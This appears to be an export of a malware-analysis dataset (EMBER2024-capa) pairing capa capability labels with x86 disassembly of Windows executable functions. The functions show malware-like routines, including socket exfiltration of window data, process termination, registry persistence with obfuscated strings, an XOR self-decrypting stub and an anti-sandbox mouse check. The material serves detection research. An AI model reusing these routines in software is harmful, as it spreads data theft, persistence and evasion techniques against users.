joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404fa4
Capabilities:
Enumerate gui resources
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x405083
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x4080d0], eax
push 0
push 0x404f44
call sub.user32.dll_EnumWindows
mov esi, dword [0x4080d0]
dec esi
test esi, esi
jl 0x40503b
inc esi
mov ebx, 0x419924
lea eax, [ebp - 4]
mov edx, dword [ebx]
call fcn.00403914
push dword [ebp - 4]
push 0x40509c
lea edx, [ebp - 8]
mov eax, dword [ebx + 4]
call fcn.004046f0
push dword [ebp - 8]
push 0x4050a8
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403ab4
mov eax, dword [ebp - 4]
call fcn.004039f4
mov edi, eax
push 0
push edi
lea eax, [ebp - 4]
call fcn.00403c3c
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
add ebx, 8
dec esi
jne 0x404fe2
lea eax, [ebp - 4]
mov edx, 0x4050b4
call fcn.00403914
push 0
push 3
lea eax, [ebp - 4]
call fcn.00403c3c
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
lea eax, [ebp - 0xc]
call fcn.00404858
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40508a
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004038a0
ret

Function at 0x4050b8
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
push ecx
push esp
mov eax, dword [0x41991c]
call fcn.00404718
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, 0x409914
mov ecx, 3
mov eax, 0x405114
call fcn.004026dc
push 0
push 3
push 0x409914
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
pop edx
ret

Function at 0x4051a8
Capabilities:
Move file
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x40525f
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x41991c]
mov eax, 0x405274
call fcn.00403c84
mov ebx, eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x41991c]
call fcn.004039f4
mov ecx, eax
sub ecx, ebx
lea edx, [ebx + 1]
mov eax, dword [0x41991c]
call fcn.00403c44
mov eax, dword [ebp - 4]
call fcn.00403bec
push eax
lea eax, [ebp - 8]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [0x41991c]
call fcn.00403c44
mov eax, dword [ebp - 8]
call fcn.00403bec
push eax
call sub.kernel32.dll_MoveFileA
mov edx, 0x409914
mov ecx, 3
mov eax, 0x405280
call fcn.004026dc
push 0
push 3
push 0x409914
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405266
lea eax, [ebp - 8]
mov edx, 2
call fcn.004038a0
ret
Function at 0x405bc4
Capabilities:
Create process on windows

Disassembly:
push 1
push 0
push 0
mov eax, dword [0x41991c]
call fcn.00403bec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
ret

Function at 0x405d10
Capabilities:
Delete registry value
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov ebx, 0x41a41c
xor eax, eax
push ebp
push 0x405df0
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0xc]
mov ecx, 0x405e08
mov edx, dword [0x4080c8]
call fcn.00403a40
mov eax, dword [ebp - 0xc]
call fcn.00403bec
push eax
push 0x80000002
call sub.aXvXpX3X.XlX_RXgOpenKeyA
mov eax, 0x4080c4
call fcn.00403c3c
push eax
mov eax, dword [ebx]
push eax
call sub.aXvXpX3X.XlX_RegDeleteValueA
mov eax, dword [ebx]
push eax
call sub.aXvXpX3X.XlX_RegCloseKey
push ebx
lea eax, [ebp - 0x10]
mov ecx, 0x405e14
mov edx, dword [0x4080c8]
call fcn.00403a40
mov eax, dword [ebp - 0x10]
call fcn.00403bec
push eax
push 0x80000002
call sub.aXvXpX3X.XlX_RXgOpenKeyA
push 0x405e1c
mov eax, dword [ebx]
push eax
call sub.aXvXpX3X.XlX_RegDeleteValueA
mov eax, dword [ebx]
push eax
call sub.aXvXpX3X.XlX_RegCloseKey
mov esi, 0x405e24
lea edi, [ebp - 6]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0
push 5
lea eax, [ebp - 5]
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
call fcn.0040378c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405df7
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004038a0
ret
Function at 0x40614c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x406154
push ebx
push esi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x406348
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, 0x41a428
call fcn.004039ac
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x406320
mov eax, dword [ebp - 0xc]
call fcn.00403bec
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x406320
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
lea edx, [ebp - 0x10]
mov ecx, 4
call fcn.004026dc
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x20], 2
push 0x50
call sub.wsock32.dll_htons
mov word [ebp - 0x1e], ax
push 0x10
lea eax, [ebp - 0x20]
push eax
push esi
call sub.wsock32.dll_connect
test eax, eax
jne 0x406320
call sub.kernel32.dll_GetTickCount
mov ebx, eax
call sub.kernel32.dll_GetTickCount
lea edx, [ebx + 0x1b58]
cmp eax, edx
jb 0x4061eb
push 0x406360
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.004047ac
push dword [ebp - 0x24]
push 0x40637c
lea edx, [ebp - 0x28]
movzx eax, word [0x41a448]
call fcn.004046f0
push dword [ebp - 0x28]
push 0x406388
lea edx, [ebp - 0x2c]
mov eax, dword [0x41a44c]
call fcn.004046f0
push dword [ebp - 0x2c]
push 0x406394
lea edx, [ebp - 0x30]
mov eax, dword [0x41a450]
call fcn.004046f0
push dword [ebp - 0x30]
push 0x4063a0
lea edx, [ebp - 0x34]
mov eax, dword [0x41a5a0]
call fcn.004046f0
push dword [ebp - 0x34]
push 0x4063ac
push 0x4063b8
lea edx, [ebp - 0x38]
mov eax, dword [0x41a660]
call fcn.004046f0
push dword [ebp - 0x38]
push 0x4063c4
push 0x4063d8
lea eax, [ebp - 8]
mov edx, 0xf
call fcn.00403ab4
push dword [ebp - 8]
push 0x4063e4
push dword [ebp - 0xc]
push 0x4063d8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00403ab4
push dword [ebp - 8]
push 0x4063f4
push 0x4063d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403ab4
lea eax, [ebp - 8]
mov edx, 0x4063d8
call fcn.004039fc
push 0
mov eax, dword [ebp - 8]
call fcn.004039f4
push eax
lea eax, [ebp - 8]
call fcn.00403c3c
push eax
push esi
call sub.wsock32.dll_send
call sub.kernel32.dll_GetTickCount
mov ebx, eax
call sub.kernel32.dll_GetTickCount
lea edx, [ebx + 0x1b58]
cmp eax, edx
jb 0x4062f9
push 0
push 0x10000
push 0x409914
push esi
call sub.wsock32.dll_recv
push esi
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40634f
lea eax, [ebp - 0x38]
mov edx, 6
call fcn.004038a0
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004038a0
ret
Function at 0x4010a5
Capabilities:
Create process on windows

Disassembly:
call fcn.004015d6
push 5
push 0
push 0
push 0x405d47
push str.open
push 0
call sub.shell32.dll_ShellExecuteA
mov ecx, 0x3c
push ecx
push 0x3e8
call sub.kernel32.dll_Sleep
pop ecx
loop 0x4010c6
jmp 0x4010e0
push str.05387337392A134A75205F696CECC1696B3E2A69B6E885652347206E6174206D6561722073A5866785
push 0
push dword [0x4052ef]
call sub.kernel32.dll_OpenMutexA
cmp eax, 0
je 0x4010fe
push 0
call sub.kernel32.dll_ExitProcess
call fcn.004013cc
jmp 0x4010c1
Function at 0x4013cc
Capabilities:
Set registry value

Disassembly:
push 0x405d47
call fcn.00401a70
mov dword [0x403e8d], eax
push 0x406147
push 0xf003f
push 0
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B1539550C356E2047332065686C2C20686B206B5B6E206454617514585347165E20533417415651555C
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push dword [0x403e8d]
push 0x405d47
push 1
push 0
push str.1919490C1D0B525331520C1F095E20696B206B690E868665A09A616E6574206D296530207BFFB96705
push dword [0x406147]
call sub.advapi32.dll_RegSetValueExA
push dword [0x406147]
call sub.advapi32.dll_RegCloseKey
jmp 0x40142c
push 0x405c47
call fcn.00401a70
mov dword [0x403e8d], eax
push 0x406147
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57347C2D100652080B15244501160E080B151B4F0E000D4916067C20111C404F1B0E52373B1B4E6465204720EE40AA208D1EBD72800EB967071A
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
push dword [0x403e8d]
push 0x405c47
push 1
push 0
push str.1919490C1D0B52201043101B055859250A590E1B6E2064652047206EF56DC36D85BA332073656767F9
push dword [0x406147]
call sub.advapi32.dll_RegSetValueExA
push dword [0x406147]
call sub.advapi32.dll_RegCloseKey
call fcn.00401585
call fcn.004014dc
push 0x405c47
push 0x40634f
call fcn.004019e0
cmp eax, 0
jbe 0x40149e
call fcn.004014bb
jmp 0x4014af
call fcn.004014b0
jmp 0x4014af
ret

Function at 0x4014dc
Capabilities:
Set registry value

Disassembly:
push 0x406147
push 0xf003f
push 0
push str.1A2466363E2F7236296D0C0A1E4353060D54373E074E000A57340020312863181713174E073302151620044E3E20034114100023000049002C1345081C1A490B0B0008501A0C1B4E1E3961721036555F5727
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
jmp 0x401503
push 0x40614b
push str.3D0A53090409525D1058006935EB80698B5BF0690E5FFF65803ABB6E015474081D1548209AA2C76715
push dword [0x406147]
call sub.advapi32.dll_RegCreateKeyA
push 2
push 0x403c97
push 1
push 0
push str.0D0E42170E09450175205F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
push dword [0x40614b]
call sub.advapi32.dll_RegSetValueExA
push dword [0x40614b]
call sub.advapi32.dll_RegCloseKey
push 0x40614b
push str.3B0E47070D07545D10580069E5EB80698B5BF069CE5DFF65E052BA6EC5F5BE6D65617220D2A2C76765
push dword [0x406147]
call sub.advapi32.dll_RegCreateKeyA
push 2
push 0x403c97
push 1
push 0
push str.0D0E42170E09450175205F696CEC80696B3E2A69AEE8C4652347206E6174206D6561722073A5C76785
push dword [0x40614b]
call sub.advapi32.dll_RegSetValueExA
push dword [0x40614b]
call sub.advapi32.dll_RegCloseKey
push dword [0x406147]
call sub.advapi32.dll_RegCloseKey
ret

Function at 0x4015e8
Capabilities:
Set registry value

Disassembly:
mov ecx, 0x22
mov ebx, ecx
push ecx
sub ebx, 1
imul ebx, ebx, 4
add ebx, 0x40404f
push 0x405747
push dword [ebx]
call fcn.00401920
push 4
push 0x405847
push 0x405747
call fcn.00401ac0
push 4
push 0x403ea5
push 4
push 0
push 0x405847
push dword [0x406147]
call sub.advapi32.dll_RegSetValueExA
pop ecx
loop 0x4015ed
ret
Function at 0x406a50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [ebp + 0x14]
xor esi, esi
push esi
push esi
push dword [ebp + 0x10]
mov dword [ebp - 8], esi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push esi
push esi
push dword [ebp + 8]
mov dword [ebx], esi
call dword [sym.imp.ntdll.dll_NtWriteFile]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x406abf
cmp dword [ebp + 0x1c], esi
jne 0x406a8f
mov dword [ebx], 1
jmp 0x406ab4
push 0xffffffffffffffff
lea eax, [ebp - 8]
push esi
push eax
cmp edi, esi
je 0x406a9e
push 2
jmp 0x406aa0
push 1
call dword [0x4010dc]
cmp eax, esi
jne 0x406ab4
push ebx
push dword [ebp - 8]
call dword [fcn.004010f8]
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_LdrLoadDll]
jmp 0x406ac9
push esi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_wcsncpy]
pop edi
pop esi
pop ebx
leave
ret 0x18

Function at 0x40712f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov word [esi + 0x1a], bx
push 0x7e
push esi
call fcn.0040563e
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], ebx
jmp 0x4071b5
cmp ebx, dword [esi]
jl 0x40715b
cmp ebx, edi
jge 0x40715b
mov edi, ebx
mov eax, ebx
sub eax, edi
je 0x407178
dec eax
je 0x407173
dec eax
je 0x40716e
add ebx, dword [ebp + 0xc]
mov bl, byte [ebx]
jmp 0x407187
mov bl, byte [esi + 0x1a]
jmp 0x407191
mov bl, byte [esi + 0x1b]
jmp 0x407191
mov bl, byte [esi + 0x18]
test edi, edi
je 0x407187
cmp edi, dword [ebp + 0x10]
jne 0x407187
or bl, 8
movzx eax, bl
push eax
push esi
call fcn.00407108
movzx eax, bl
bt dword [0x405198], eax
jae 0x4071a8
push 0x7d
push esi
call fcn.0040563e
xor bl, 0x20
movzx eax, bl
push eax
push esi
call fcn.0040563e
inc dword [ebp - 8]
lea eax, [edi + 3]
cmp dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
jl 0x407151
push 0x7e
push esi
call fcn.0040563e
push esi
call fcn.00405336
movzx ecx, byte [esi + 0x18]
shr ecx, 4
and cl, 7
mov edi, ecx
lea eax, [esi + 0x18]
push eax
call fcn.00406f18
mov eax, dword [ebp + 0xc]
mov dword [esi + edi*4 + 0x1c], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + edi*4 + 0x3c], eax
lea eax, [ebx - 3]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0xddce6c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xddce76
pushal
call 0xddce7c
pop ebp
sub ebp, 0x10
sub ebp, 0x9dce6c
jmp 0xddce92
mov eax, 0x9dce6c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
mov edx, 0xe79e0445
xor byte [eax], dl
inc eax
dec ecx
jne 0xddcea9
jmp 0xddcebc
into
mov dh, cl
int3
Function at 0x4022a0
Capabilities:
Get common file path

Disassembly:
mov eax, 0x443bf0
call fcn.0042d550
sub esp, 0x104
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
mov esi, ecx
push dword [ebp + 0xc]
mov dword [esi + 0xd4], edi
push edi
call fcn.00402b2c
push edi
mov ecx, esi
call fcn.004029f8
mov eax, dword [esi + 0xd4]
mov ebx, 0xe0
add eax, ebx
push 0x453a3c
mov eax, dword [eax]
push eax
call fcn.0042ddab
pop ecx
test eax, eax
pop ecx
je 0x4024a4
cmp dword [edi + 0xe8], 0
je 0x402489
mov eax, dword [0x452298]
mov dword [ebp + 8], eax
mov eax, dword [esi + 0xd4]
and dword [ebp - 4], 0
push ecx
add eax, ebx
mov ecx, esp
mov dword [ebp + 0x10], esp
push eax
call fcn.0043a848
lea eax, [ebp + 0x10]
push eax
call fcn.00403823
pop ecx
pop ecx
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.0043abc0
and byte [ebp - 4], 0
lea ecx, [ebp + 0x10]
call fcn.0043aad3
push dword [edi + 0xe8]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
mov dword [ebp + 0xc], eax
je 0x40246d
lea eax, [ebp - 0x110]
push eax
push 0
push 0x44e134
push 0x4568d8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x110]
push eax
call fcn.0042dd30
cmp eax, 3
pop ecx
jae 0x4023aa
push dword [edi + 0xe8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0x453a3c
lea ecx, [esi + 0xac]
call fcn.0043ac10
jmp 0x40246d
push ecx
lea eax, [ebp - 0x110]
mov ecx, esp
mov dword [ebp + 0x10], esp
push eax
call fcn.0043ab41
call fcn.004034d0
lea eax, [ebp - 0x110]
push eax
call fcn.0042dd30
push dword [ebp + 8]
lea ecx, [ebp - 0x110]
sub ecx, 3
and byte [eax + ecx], 0
lea eax, [ebp - 0x110]
push eax
call fcn.0042d940
add esp, 0x10
lea eax, [ebp - 0x110]
push 0
push eax
call dword [sym.imp.KERNEL32.dll__lcreat]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x402389
mov eax, dword [edi + 0xe4]
test eax, eax
mov dword [ebp + 0x10], eax
je 0x40243c
mov ebx, 0x7fff
cmp dword [ebp + 0x10], ebx
ja 0x40241e
movzx ebx, word [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll__lwrite]
cmp eax, 0xffffffff
je 0x40247b
sub dword [ebp + 0x10], ebx
add dword [ebp + 0xc], ebx
cmp dword [ebp + 0x10], 0
jne 0x402410
push dword [edi + 0xe8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll__lclose]
lea eax, [ebp - 0x110]
lea ecx, [esi + 0xac]
push eax
call fcn.0043ac10
mov dword [esi + 0xb0], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0043aad3
jmp 0x4024a4
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll__lclose]
jmp 0x402389
mov eax, dword [esi + 0xd4]
lea ecx, [esi + 0xac]
add eax, ebx
push eax
call fcn.0043abc0
and dword [esi + 0xb0], 0
mov eax, dword [esi + 0xac]
lea edi, [esi + 0xac]
xor ebx, ebx
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xb4], ebx
mov dword [esi + 0xa8], ebx
cmp dword [eax - 8], ebx
je 0x4024d0
mov ecx, esi
call fcn.00402800
mov eax, dword [edi]
cmp dword [eax - 8], ebx
je 0x4024e5
mov eax, dword [esi + 0xd4]
cmp dword [eax + 0xf0], ebx
jne 0x4024ec
mov ecx, esi
call fcn.0040261e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0xc
Function at 0x402516
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
mov eax, dword [ebx + 0xac]
lea edi, [ebx + 0xac]
xor ecx, ecx
mov dword [ebp - 4], 1
mov eax, dword [eax - 8]
cmp eax, ecx
je 0x4025b4
mov edx, dword [ebx + 0xd4]
cmp dword [edx + 0xf0], ecx
je 0x402556
cmp dword [ebx + 0xa8], ecx
jne 0x402556
mov dword [ebp - 4], ecx
cmp eax, ecx
je 0x4025b4
cmp dword [ebx + 0xa8], ecx
je 0x4025b4
mov eax, dword [ebx + 0xd4]
cmp dword [eax + 0xf0], ecx
je 0x4025b4
mov eax, dword [ebx + 0xa0]
lea esi, [ebx + 0xa0]
cmp eax, ecx
je 0x4025b4
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push dword [ebx + 0x1c]
and dword [esi], 0
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [ebx + 0xb0], 0
je 0x4025a4
push dword [edi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, edi
call fcn.0043aa5e
mov ecx, ebx
call fcn.0040261e
xor ecx, ecx
cmp dword [ebp - 4], ecx
je 0x402619
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ecx
push eax
call dword [sym.imp.USER32.dll_SetRectEmpty]
mov esi, dword [ebx + 0x70]
test esi, esi
je 0x4025f7
mov eax, esi
mov esi, dword [esi]
push 1
push ebx
mov edi, dword [eax + 8]
mov ecx, edi
call fcn.004015b9
add dword [ebp - 4], eax
cmp dword [edi + 0x1dc], 0
je 0x4025c9
mov eax, dword [edi]
lea ecx, [ebp - 0x14]
push ecx
mov ecx, edi
call dword [eax + 0x14]
jmp 0x4025c9
lea edi, [ebx + 0x3c]
lea esi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp dword [ebp - 4], 0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x402619
push 0
push 4
mov ecx, ebx
call fcn.00402df2
mov ecx, ebx
call fcn.00402c80
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402800
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0xb4], ebx
jne 0x4029ea
push dword [esi + 0xac]
lea eax, [ebp - 0x130]
push eax
call fcn.0042d930
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetClientRect]
lea eax, [ebp - 0x130]
push eax
push 0x4000c30a
push dword [0x455f34]
push dword [esi + 0x1c]
call sub.MSVFW32.dll_MCIWndCreateA
add esp, 0x10
cmp eax, ebx
mov dword [esi + 0xa0], eax
je 0x4029e0
push edi
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x4027a7
push 0xfffffffffffffffc
mov dword [0x4539e8], eax
push dword [esi + 0xa0]
call edi
push esi
push 0xffffffffffffffeb
push dword [esi + 0xa0]
call edi
mov eax, dword [esi + 0xd4]
xor ecx, ecx
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
cmp dword [eax + 0xf0], ebx
sete cl
push ecx
push ebx
push 0x472
push dword [esi + 0xa0]
call edi
push str.frames
push ebx
push 0x477
push dword [esi + 0xa0]
call edi
push ebx
mov ebx, 0x1f4
push ebx
push 0x482
push dword [esi + 0xa0]
call edi
push 0
push ebx
push 0x483
push dword [esi + 0xa0]
call edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0xa0]
call edi
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 0xa0]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0x14]
mov ecx, dword [esi + 0xd4]
sub eax, dword [ebp - 0x1c]
push 0x64
pop ebx
imul eax, dword [ecx + 0xfc]
cdq
idiv ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
imul eax, dword [ecx + 0x100]
cdq
idiv ebx
mov ebx, 0x280
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0xf4]
imul eax, dword [esi + 0x98]
cdq
idiv ebx
mov ebx, eax
mov eax, dword [ebp - 8]
cdq
sub eax, edx
sar eax, 1
sub ebx, eax
mov eax, dword [ecx + 0xf8]
imul eax, dword [esi + 0x9c]
cdq
mov ecx, 0x1e0
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 4]
cdq
sub eax, edx
push 5
push dword [esi + 0x1c]
sar eax, 1
sub ecx, eax
mov dword [ebp - 0xc], ecx
call edi
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [esi + 0xa0]
call dword [sym.imp.USER32.dll_MoveWindow]
push 5
push dword [esi + 0xa0]
call edi
push dword [esi + 0xa0]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0x806
push 0x111
push dword [esi + 0xa0]
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
jmp 0x4029ea
mov dword [esi + 0xa8], 1
mov dword [esi + 0xb4], 1
pop esi
pop ebx
leave
ret
Function at 0x402eb0
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [0x453a30], 0
push esi
mov esi, ecx
jne 0x402ed8
push 0x453a28
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [0x453a30], 1
jmp 0x402f12
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, dword [ebp - 8]
sub ecx, dword [0x453a28]
je 0x402ef3
test ecx, ecx
jge 0x402ef3
neg ecx
mov eax, dword [ebp - 4]
sub eax, dword [0x453a2c]
je 0x402f04
test eax, eax
jge 0x402f04
neg eax
add eax, ecx
cmp eax, 3
jle 0x402f12
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0043b2da
pop esi
leave
ret 0xc

Function at 0x40338b
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
mov eax, 0x443c50
call fcn.0042d550
sub esp, 0x20c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x218]
push eax
push 0x96
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [0x455f34]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x4034a6
push esi
push dword [0x455f34]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
push dword [0x455f34]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, dword [ebp + 0x10]
cmp eax, ebx
mov byte [esi], bl
je 0x4034a6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x4034a6
lea eax, [ebp - 0x114]
push eax
push ebx
lea eax, [ebp - 0x218]
push 0x44e1ec
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x114]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll__lcreat]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x40347d
lea eax, [ebp - 0x114]
push eax
push esi
call fcn.0042d930
pop ecx
pop ecx
cmp edi, ebx
je 0x403498
mov esi, 0x7fff
cmp edi, esi
ja 0x40345b
movzx esi, di
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll__lwrite]
cmp eax, 0xffffffff
je 0x403474
sub edi, esi
add dword [ebp + 0x10], esi
jmp 0x40344b
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll__lclose]
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.0043aad3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0043aad3
xor eax, eax
jmp 0x4034c1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll__lclose]
push 1
pop esi
jmp 0x4034a8
xor esi, esi
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.0043aad3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0043aad3
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret